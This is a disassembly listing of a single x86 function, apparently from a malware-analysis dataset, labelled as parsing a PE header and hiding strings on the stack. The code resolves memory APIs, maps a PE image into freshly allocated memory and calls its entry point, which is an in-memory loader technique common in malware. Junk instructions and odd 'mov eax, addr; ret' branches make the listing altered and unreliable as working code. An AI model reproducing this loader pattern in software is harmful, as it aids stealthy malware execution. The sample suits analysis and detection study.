Function at 0x40944d
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ffa0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], esp
push 0x42b038
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x30
call sub.MSVCRT.dll__CxxThrowException
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.HeapAlloc
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x20], eax
nop
nop
nop
nop
nop
nop
nop
nop
push str.VirtualAlloc
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0x24], eax
inc eax
dec ebx
dec eax
inc ebx
mov cl, 0x73
mov al, 0x65
mov byte [ebp - 0x30], cl
mov byte [ebp - 0x2f], cl
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x38], 0x47
push ecx
push str.kernel32.dll
mov byte [ebp - 0x37], al
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x50
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x6f
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], al
mov byte [ebp - 0x2e], 0x48
mov byte [ebp - 0x2d], al
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0
call esi
push eax
call edi
mov dword [ebp - 0x18], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
je 0x40950a
inc eax
dec ebx
dec eax
inc ebx
mov eax, 0x4094f7
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [ebp - 0x28], edi
cmp dword [edi], 0x4550
je 0x409533
mov eax, 0x409520
ret
inc eax
dec ebx
dec eax
inc ebx
mov edx, dword [edi + 0x50]
mov eax, dword [edi + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push edx
push eax
call ebx
mov esi, eax
test esi, esi
mov dword [ebp - 0x14], esi
jne 0x40956a
mov ecx, dword [edi + 0x50]
push 4
push 0x2000
push ecx
push eax
call ebx
mov dword [ebp - 0x14], eax
mov esi, eax
inc eax
dec ebx
dec eax
inc ebx
test esi, esi
jne 0x40958b
mov eax, 0x409578
ret
nop
nop
nop
nop
push 0x14
push 0
call dword [ebp - 0x18]
push eax
call dword [ebp - 0x20]
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebx + 4], esi
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [edi + 0x50]
push 4
push 0x1000
push edx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [edi + 0x54]
push 4
push 0x1000
push eax
push esi
call dword [ebp - 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp + 8]
mov edx, dword [edi + 0x54]
mov edi, eax
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
add edx, eax
mov dword [ebx], edx
inc eax
dec ebx
dec eax
inc ebx
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x14]
push esi
mov eax, dword [esi]
push ebx
push ecx
mov dword [eax + 0x34], edi
call fcn.00409750
add esp, 0xc
nop
nop
nop
nop
nop
mov ecx, dword [ebx + 0x34]
mov eax, edi
sub eax, ecx
je 0x409641
push eax
push esi
call fcn.00409b20
add esp, 8
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00409c80
nop
nop
nop
nop
nop
nop
push esi
call fcn.00409950
add esp, 8
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x409683
add eax, edi
nop
nop
nop
push 0
push 1
push edi
call eax
inc eax
dec ebx
dec eax
inc ebx
mov dword [esi + 0x10], 1
mov eax, 0x409689
ret